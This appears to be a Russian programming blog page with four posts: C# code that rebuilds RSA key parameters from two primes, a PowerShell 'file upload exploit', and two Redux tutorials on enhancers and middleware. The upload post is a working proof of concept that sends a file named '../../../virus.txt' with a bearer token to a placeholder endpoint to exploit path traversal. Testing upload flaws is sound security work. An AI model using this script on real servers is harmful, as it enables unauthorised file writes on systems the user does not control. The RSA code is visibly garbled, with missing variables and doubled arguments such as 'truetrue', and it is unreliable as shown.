понедельник, 13 апреля 2020 г.

RSA алгоритм

Восстанавливаем ключи по двум простым числам.

  1. /*
  2.          
  3.             function inverse(a, n)
  4.     t := 0;     newt := 1
  5.     r := n;     newr := a
  6.     while newr ≠ 0 do
  7.         quotient := r div newr
  8.         (t, newt) := (newt, t − quotient × newt)
  9.         (r, newr) := (newr, r − quotient × newr)
  10.     if r > 1 then
  11.         return "a is not invertible"
  12.     if t < 0 then
  13.         t := t + n
  14.     return t
  15.          */
  16.         static BigInteger modInverse(BigInteger a, BigInteger m)
  17.         {
  18.             BigInteger m0 = m;
  19.             BigInteger y = 0, x = 1;
  20.             if (== 1)
  21.                 return 0;
  22.             while (> 1)
  23.             {
  24.                 // q is quotient
  25.                 BigInteger q = a / m;
  26.                 BigInteger t = m;
  27.                 // m is remainder now, process
  28.                 // same as Euclid's algo
  29.                 m = a % m;
  30.                 a = t;
  31.                 t = y;
  32.                 // Update x and y
  33.                 y = x - q * y;
  34.                 x = t;
  35.             }
  36.             // Make x positive
  37.             if (< 0)
  38.                 x += m0;
  39.             return x;
  40.         }
  41.         static void Main(string[] args)
  42.         {
  43.             for (int i = 0; i < 10000; i++)
  44.             {
  45.                 var rsaKey = RSA.Create(2048);
  46.                 var rsaInboundParam = rsaKey.ExportParameters(true);
  47.                 BigInteger P = new BigInteger(rsaInboundParam.Ptruetrue); ; // p - prime1
  48.                 BigInteger Q = new BigInteger(rsaInboundParam.Qtruetrue); //q - prime2
  49.                 BigInteger E = new BigInteger(rsaInboundParam.Exponenttruetrue); // e - public exponent
  50.                 BigInteger N = P * Q;// n = p * q  <<< modulus, e.g. public key
  51.                 BigInteger PHI_N = (- 1) * (- 1); // phi(n) = (p-1)*(q-1)
  52.                 BigInteger D = modInverse(E, PHI_N); // d - private exponent, d = 1/e mod phi(n)
  53.                 BigInteger DP = D % (- 1); // crt exponent 1 = d mod (p-1)
  54.                 BigInteger DQ = D % (- 1); // crt exponent 2 = d mod (q-1)
  55.                 BigInteger qInv = modInverse(Q, P); // crt coefficient  1/q mod p
  56.                 var rsaManual = new RSAParameters() //todo: в результате операций (н-р, умножение), могут получаться массивы меньшей длины (н-р, D[255], вместо D[256]). Необходимо реализовать соответствующий ресайз перед reverse
  57.                 {
  58.                     P = rsaInboundParam.P,
  59.                     Q = rsaInboundParam.Q,
  60.                     Exponent = rsaInboundParam.Exponent,
  61.                     Modulus = N.ToByteArray(truetrue),
  62.                     D = D.ToByteArray(truetrue),
  63.                     DP = DP.ToByteArray(truetrue),
  64.                     DQ = DQ.ToByteArray(truetrue),
  65.                     InverseQ = qInv.ToByteArray(truetrue)
  66.                 };
  67.                 RSA.Create(rsaManual);
  68.                 Console.WriteLine("D - {0}", rsaInboundParam.D.SequenceEqual(rsaManual.D));
  69.             }
  70.         }

вторник, 10 марта 2020 г.

file upload exploit

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

  1. $url = "url/uploads";
  2. $targetFileName = "../../../virus.txt";
  3. $sourceFilePath = "C:\temp\ipaddrs.txt"
  4. $access_token = "Bearer XXXXXXXX"
  5. $file_bytes = [System.IO.File]::ReadAllBytes($sourceFilePath)
  6. [System.Net.Http.HttpClient]$httpClient = New-Object System.Net.Http.HttpClient;
  7. [System.Net.Http.MultipartFormDataContent]$form = New-Object System.Net.Http.MultipartFormDataContent;
  8. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept", "application/json, text/plain, */*") | out-null
  9. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Authorization", $access_token)  | out-null
  10. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36")  | out-null
  11. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7") | out-null
  12. [System.Net.Http.ByteArrayContent]$byteContent = new-object System.Net.Http.ByteArrayContent([byte[]]($file_bytes), 0, $file_bytes.Length)
  13. $form.Add($byteContent, "file[]",$targetFileName)
  14. $response = [System.Net.Http.HttpResponseMessage]$response = $httpClient.PostAsync($url, $form).Result
  15. $sd = $response.Content.ReadAsStringAsync().Result
  16. $sd | fl *
  17. $httpClient.Dispose()

https://pastebin.com/apXwAwYc

среда, 16 октября 2019 г.

Redux: усилители (enhancers).

Введение


В данной статье хотел бы рассказать про усилители в Redux: Что это такое? Какие задачи решают? Как реализованы?

Enhancer можно назвать усилителем, но мне такое название не нравится (Что он там усиливает?!). Больше подходит название «расширитель» или «расширение». 
Собственно, enhancer это функция, позволяющая добавить к хранилищу дополнительный функционал. 
Исходя из назначения, название «расширитель» подходит больше. Но как бы оно там не называлось, наша задача понять, как работает enhancer, а не выбрать название.

А какие задачи у Enhancer? И тут повторюсь – добавить или изменить функциональность хранилища. Функциональность хранилища меняется путем изменения текущих свойств или добавлением новых.
Например, applyMiddleware (единственный enhancer в составе redux) делает обертку dispatch, заменяя оригинальное одноименное свойство. Как делается обертка можно посмотреть здесь.
Также можно добавить дополнительное свойство к хранилищу, например, dispatchAsync (пример в конце статьи).

Теперь перейдем от назначения к реализации.


Реализация.


Как вообще enhancer применяется к хранилищу? А применяется он во время создания хранилища:
createStore(reducer, initialState, enhancer())
или
createStore(reducer, enhancer())
То есть передается либо вторым, либо третьим аргументом в функцию createStore. И заметьте, передается именно результат выполнения, а не сама функция.

Какая сигнатура у enhancer? Функция enhancer должна вернуть функцию, которая принимает функцию createStore в качестве параметра):
function enhancer1(optionalParams){
return function receiveCreateStore(createStoreFunc){
        }

}
Далее функция (у нас это receiveCreateStore), принимающая createStore (через createStoreFunc), должна вернуть функцию (createEnhancedStore). Эта функция и должна вернуть объект-хранилище.
function enhancer1(){
return function receiveCreateStore(createStoreFunc){
return function createEnhancedStore(…args){
return {
                             // возвращаем хранилище
                             // по задумке - расширенное
                        }
               }

       }
}
Обратите внимание на аргументы функции – args. Сюда будут передаваться 2 параметра: reducer и initialState. Первый и второй аргумент функции createStore.
Это была сигнатура. 

Как правило из последней функции (у нас createEnhancedStore) вызывается опять createStore (скажем так, стандартный… далее объясню) и уже ее результат используется для «обертывания» или дополнения.
Поэтому в сигнатуру я еще добавлю вызов функции createStore и возвращение нового – измененного store. Итого получится следующее:
function enhancer1(){
return function receiveCreateStore(createStoreFunc){
return function createEnhancedStore(…args){
const store = createStoreFunc(…args);
return {
…store,
dispatch: _dispatch,  // замена оригинального dispatch
newDispatch: _newDispatch // добавление нового свойства

                        }
               }
       }
}
Это был готовый каркас функции-расширителя. В таком виде можно и использовать.
А вот упрощенная версия с использованием стрелочной нотации:
const enhancer = () => createStoreFunc => (…args) => {
const store = createStoreFunc(…args);
        return {
…store,
dispatch: _dispatch,  // замена оригинального dispatch
newDispatch: _newDispatch // добавление нового свойства/метода
        }
}
Теперь нам нужно обратиться к исходникам redux, чтобы понять: почему именно такая сигнатура, зачем передается createStore, зачем она вызывается повторно и другие детали реализации.

Оперировать будем исходниками createStore, enhancer’ом applyMiddleware и приведенным каркасом. Потом приведу пример для добавления нового метода к хранилищу (взял опять-таки у Freeman’а).

Сначала возьмем функцию createStore.
 
Нас интересует:
А) кусок 1, где описаны параметры, 
Б) кусок 2, где проверяется, был ли передан enhancer
В) и кусок 3, где вызывается enhancer.

Логика такая: если был передан enhancer, то запускается сначала он и функция createStore передает ему сама себя в качестве параметра.
Enhancer вернет функцию, которая принимает аргументы и возвращает объект store:
return function createEnhancedStore(…args){
    return {
        // возвращаем хранилище
    }
}
Далее createStore запустит возвращенную функцию и передаст ей два аргумента: reducer и initialState (через …args):
 
Это мы дошли до последней функции в каркасе, которая собственно и расширяет хранилище.
Как она это делает? Обычно используется функция createStore которая передавалась при первом запуске enhancer (подчеркну, обычно!). createStore запускается с переданными параметрами (reducer и preloadedState): 
const store = createStoreFunc(…args);
Управление передается «оригинальной» функции createStore, но теперь она запускается только с двумя параметрами, то есть без enhancer.
Поскольку enhancer пустой, то отмеченный на картинке вызов пропускается:
 
Во время выполнения «собирается» store и он же, как объект, возвращается enhancer’у:

 Теперь у нас есть созданный store и можем его расширить:
const enhancer = () => createStoreFunc => (…args) => {
const store = createStoreFunc(…args);
        return {
…store,
dispatch: _dispatch,  // замена оригинального dispatch
newDispatch: _newDispatch // добавление нового свойства/метода
        }
}
Давайте теперь на примере applyMiddleware посмотрим как он делает обертку для dispatch.
 

1) Это не особо относится к делу – здесь формируется массив из аргументов функции applyMiddleware.
2) Тут сразу возвращается функция, принимающая createStore.
3) Здесь функция createStore продолжает выполнение и запускает функцию из пункта 2, передает ей createStore, в ответ получает функцию. Здесь она указывается без параметров, а в «нашем» каркасе с параметрами args. Но на самом деле потом все равно используются параметры arguments.
4) И вот enhancer как раз вызывает «оригинальную» функцию createStore, полученную на шаге 2, передавая ей аргументы reducer и initialState. Как мы помним опять запускается createStore, но уже без вызова enhancer. В переменной store храним результат выполнения.
5) В этом куске делается обертка для dispatch.
6) Возвращается хранилище store (созданное на этапе 4) с усиленным dispatch.


Пример.


Как и обещал, пример добавления нового метода к хранилищу:

export const asyncEnhancer = delay => createStoreFunction => (...args) => {
    const store = createStoreFunction(...args);
    return {
        ...store,
        dispatchAsync: (action) => new Promise((resolve, reject) => {
            setTimeout(() => {
                store.dispatch(action);
                resolve();
            }, delay);
        })
    };
}
Здесь возвращается оригинальный store, но с новым методом - dispatchAsync, который запускает "обычный", но с задержкой.

На этом все.

Ссылки:

вторник, 15 октября 2019 г.

Redux: прослойки (middleWares)

В настоящей статье хочу осветить схему с прослойками в Redux: Что это такой? Как реализовано? Как использовать?
Здесь не будет рассказано про «основы» redux: actions, reducers, action creators и т.д. С этим нужно знакомиться отдельно. Возможно, я напишу про это, а возможно уже написал.


Что такое middleWare?

Простым языком, middleWare – это обертка (wrapper) для функции dispatch хранилища Redux. Получилось как-то не очень просто. Если еще проще, то это возможность выполнить какие-то действия до того, как будет выполнен dispatch (либо можно заблокировать вызов последнего). А dispatch, как вы знаете, запускает reducer.
Для такой обертки можно использовать:
1) ручной способ;
2) особый вид функции + функцию applyMiddleware библиотеки Redux.


Ручной способ.

Сначала посмотрим на ручной способ.
Допустим у нас есть некоторый код, который вызывает dispatch для передачи action в наш reducer:
//…
store.dispatch({type: “CREATE”, dataType: “REQUESTS”, payload: this.state.request});
//…
Ни что не мешает добавить в код дополнительные проверки или actions, перед тем как запустить dispatch. Это и будет наша простейшая прослойка.
Например, запустить несколько dispatch, где первый добавляет данные в хранилище, а второй управляет состоянием формы:
store.dispatch({type: “CREATE”, dataType: “REQUESTS”, payload: this.state.request});
store.dispatch({type: “CLOSE_FORM”});
Другой пример прослойки – работа с веб-сервисами:
//…
let result = this.webservice.createRequest(this.state.request);
result.then(data => store.dispatch({type: “CREATE”, dataType: “REQUESTS”, payload: data}))
//…
В примерах я не стал использовать action creators, чтобы упростить код. Хотя, конечно, правильно реализовать отдельный уровень абстракции в виде action creators.
Вот и вся суть middleWare. Хотя, конечно, с такой трактовкой, можно все что угодно считать middleWare.
Приведенный выше способ является наиболее простым, но с точки зрения управления кодом менее предпочтительным: обертка может быть разбросана по всему приложению, динамически подключать и отключать сложно, переписывать и изменять тоже придется в разных местах, дублирование кода и другие «прелести». В общем, способ подходит либо как временное решение, либо в очень маленьких проектах.
А теперь перейдем ко второму способу – использование функции applyMiddleware.


applyMiddleware

applyMiddleware – это функция из библиотеки redux. Функция реализует store enhancer (расширитель хранилища… не знаю, как по-русски это обозвать, пусть будет так).
Store Enhancer является отдельной темой для обсуждения, нас сейчас интересует только то, как applyMiddleware делает прослойку, а не то как реализовываются enhancers.
applyMiddleware принимает в качестве параметров одну или более функций, составляет из этих функций цепочку вызовов (в цепочку входит оригинальный dispatch) и заменяет в store оригинальный dispatch на результирующую цепочку.
applyMiddleware, как я уже говорил является enhancer и применяется при создании хранилища.
//…
const middleware = applyMiddleware(func1, func2);
const store = createStore(reducerFunc, middleware);
//…
В упрощенном варианте цепочка вызовов будет выглядеть так: func1 -> func2 -> dispatch(action). То есть цепочка выполняется слева на право. Как правило функции друг о друге ничего не знают, они просто вызывают следующую функцию (или не вызывают, блокируя вызовы).
Функции, передаваемые в applyMiddleware, должны удовлетворять определенной сигнатуре:
({ getState, dispatch }) => next => action
Далее, для лучшего понимания я буду использовать полный синтаксис, вместо стрелочного. Но поскольку синтаксис большинства middleware (по крайней мере на этапе формирования цепочки) будет одинаковым, то лучше использовать стрелочную нотацию (пример также будет далее).
В функцию первым делом передаются функции getState и dispatch. Их использование – опционально, необходимо исходить из задачи. Например, getState можно использовать для получения текущего состояния store и далее, после вызова dispatch, для сравнения изменений или, к примеру, для логирования.
function func1({getState, dispatch}) {             
   console.log(getState());             
   /// …
}
func1 должна вернуть функцию, которая принимает параметр следующей функции вызова.
function func1({getState, dispatch}) {             
   console.log(getState());             
    return function receiveNext(next){
         //…             
     } 
}
applyMiddleware после запуска func1 вызовет результирующую функцию, а в параметр передаст следующую функцию в цепочке (не совсем точно, чуть далее объясню). После выполнения у нас опять должна вернуться функция, но уже принимающая параметр action. Эта функция и реализовывает прослойку, она же является dispatch’ером (она и передается как next).
function func1({getState, dispatch}) {
      return function receiveNext(next){
               return processAction(action){
                       //…                           
                       next(action);                       
                }
      }
}
Здесь я добавил инструкцию next(action), которая запускает следующий dsipatch’ер. Хотя использование необязательное, в этом случае цепочка запуска прервется и в reducer ничего не передастся.
Это и есть полная сигнатура middleWare-функции. В упрощенном виде она выглядит вот так:
const func1 = ({getState, dispatch}) => next => action => {
     //..   
    next(action)
}
С сигнатурой разобрались. Запоминать ее не нужно, она всегда одинаковая, ее всегда можно найти в документации к redux.


Как applyMiddleware строит цепочку из функций?

Как я и сказал выше, первым делом каждая функция запускается по отдельности и ей передается 2 параметра – getState и dispatch (в оригинале реализовано это через Array.map, но для наглядности здесь и далее я буду приводить примеры с ручным перечислением/запуском):
const receiveNextF1 = func1({getState, dispatch});
const receiveNextF2 = func2({getState, dispatch});
На выходе мы имеем две функции, которые принимают функцию в параметре next ( return function receiveNext(next){ } ).
Далее выполнение начинается с правой крайней функции – func2 (а точнее с результатом ее выполнения).
applyMiddleware запускает результирующую функцию (receiveNextF2) и в параметр next передает оригинальный dispatch:
const dispatcherF2 = receiveNextF2(dispatch);
в dispatcherF2 будет вот такой код (next я заменил на dispatch):
processAction(action){ 
    dispatch(action);
}
Далее тоже самое делается для следующей функции, но в качестве параметра next передается результат предыдущего запуска:
const dispatcherF1 = receiveNextF1(dispatcherF2);
в dispatcherF1 будет вот такой код:
processAction(action){
  dispatcherF2(action);
}
После того, как обработана вся цепочка, dispatherF1 сохраняется в объекте store как свойство dispatch. Теперь при вызове store.dispatch() запускается сначала dispatcherF1, он запускает dispatcherF2 и последний запускает оригинальный dispatch, который в свою очередь запускает reducer.
Вот так строится цепочка middleWare на базе функции applyMiddleware.


Пример

В завершение приведу пример прослойки для вызова сразу нескольких actions (взял у Freeman’а). Запускаются они, конечно, не одновременно, а последовательно. Является хорошей альтернативой запуска нескольких dispatch.
const multiActions = ({dispatch, getState}) => next => action => {
    if (Array.isArray(action)) {
        action.forEach(a => next(a));
    }
    else { next(action); }
}
export default createStore(reducer, applyMiddleware(multiActions));
Теперь мы можем в dispatch передать несколько actions:
dispatch([{type: “STORE”, payload: this.state.request }, {type: “CLOSE_FORM”} ])
Всю эту жуть вида [{},{}] конечно же нужно заменить на actionCreators, тогда получится более лаконичный код:
dispatch([createRequest(request), closeForm()])
На этом все.

Ссылки: